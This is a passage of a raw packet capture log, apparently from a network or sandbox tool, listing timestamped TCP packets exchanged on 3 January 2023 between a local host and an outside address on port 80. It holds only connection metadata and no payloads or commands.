                                                                              Jan 3, 2023 08:16:06.316519022 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316541910 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316560030 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316580057 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.316580057 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.316580057 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.316581011 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.316581011 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.316587925 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316598892 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.316598892 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.316607952 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316628933 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316648960 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.316664934 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316695929 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316698074 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.316711903 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316725016 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316745996 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.316749096 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316762924 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316775084 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316795111 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.316795111 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316809893 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316822052 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316834927 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316843987 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.316848993 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316863060 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316874027 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316885948 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316899061 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316910982 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316922903 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316934109 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316942930 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.316942930 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.316946983 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316961050 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316972971 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316983938 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316997051 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317008972 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317019939 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317032099 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317039967 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.317044973 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317059040 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317070007 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317096949 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.317099094 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317115068 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317137957 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.317141056 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317156076 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317167997 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317178965 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317188025 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.317188025 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.317192078 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317207098 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317218065 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317229986 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317236900 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.317236900 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.317244053 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317257881 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317270041 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317281008 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317297935 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317317963 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317334890 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.317337036 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317353010 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317364931 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317377090 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317384005 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.317384005 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.317384005 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.317390919 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317404985 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317415953 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317428112 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317431927 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.317444086 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317456007 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317467928 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317481995 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.317481995 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.317485094 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317502975 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317523003 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317531109 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.317543030 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317557096 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317568064 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317580938 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317580938 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.317580938 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.317580938 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.317580938 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.317580938 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.317599058 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317611933 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317622900 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317629099 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.317629099 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.317639112 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317679882 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.317682028 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317714930 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317732096 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317744970 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317755938 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.317776918 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.317776918 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.317776918 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.317776918 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.317873001 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.317873955 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.318092108 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.318443060 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.374749899 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.374766111 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.374850988 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.374865055 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.374875069 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.374886036 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.374943018 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.375055075 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.380280018 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.380434036 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.380446911 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.380458117 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.380469084 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.380480051 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.380490065 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.380501032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.380609989 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.380703926 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.382388115 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.382476091 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.382489920 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.382500887 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.382512093 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.382523060 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.382533073 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.382544041 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.382554054 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.382687092 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.382687092 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.382687092 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.382765055 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.383122921 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.383136988 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.383147955 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.383158922 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.383168936 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.383179903 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.383189917 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.383199930 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.383210897 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.383219004 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.383337021 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.383413076 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.386056900 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.386070967 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.386099100 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.386111021 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.386121035 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.386132002 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.386213064 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.386214018 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.386214018 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.386226892 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.386238098 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.386249065 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.386260033 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.386270046 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.386281013 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.386291027 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.386301994 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.386302948 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.386327982 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.386338949 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.386348963 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.386359930 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.386370897 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.386394024 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.386394024 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.386441946 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.386441946 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.386490107 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.386588097 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.386809111 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.386926889 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.386981964 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.386992931 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.387003899 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.387015104 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.387029886 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.387041092 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.387046099 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.387052059 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.387063026 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.387247086 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.387295961 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.387365103 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.389653921 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.389667034 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.389678001 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.389688969 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.389705896 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.389717102 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.389777899 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.389833927 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.389847994 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.389858007 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.389858961 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.389884949 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.389895916 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.389906883 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.389938116 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.389966965 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.389966965 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.390007019 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390013933 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.390021086 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390033007 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390043974 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390053988 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390064955 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390074968 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390085936 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390094042 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390120029 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390127897 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.390127897 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.390130997 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390166044 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390176058 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.390177011 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390274048 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.390312910 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390322924 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.390326977 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390337944 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390348911 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390360117 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390369892 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390381098 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390392065 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390402079 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390413046 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390424013 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390434027 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390444994 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390451908 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.390451908 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.390455961 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390466928 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390476942 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390487909 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390499115 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390500069 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.390508890 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390520096 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390530109 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390541077 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390548944 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.390548944 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.390548944 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.390552044 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390562057 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390573025 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390583992 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390594006 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390604019 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390614986 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390625000 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390635967 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390646935 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390646935 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.390646935 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.390656948 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390667915 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390677929 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390688896 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390696049 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.390698910 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390710115 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390721083 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390731096 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390742064 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390752077 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390763044 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390774012 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390784979 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390794039 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.390794039 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.390794992 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390805960 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390815973 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390841961 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390842915 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.390842915 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.390844107 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.390852928 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390887976 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390892029 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.390898943 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390908957 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390919924 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390940905 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.390940905 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.390940905 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.390947104 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390958071 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390969038 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390979052 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.390990019 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.390990019 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391000986 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391011000 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391021967 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391032934 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391038895 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391043901 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391055107 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391064882 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391074896 CET8049869179.43.141.116192.168.11.20
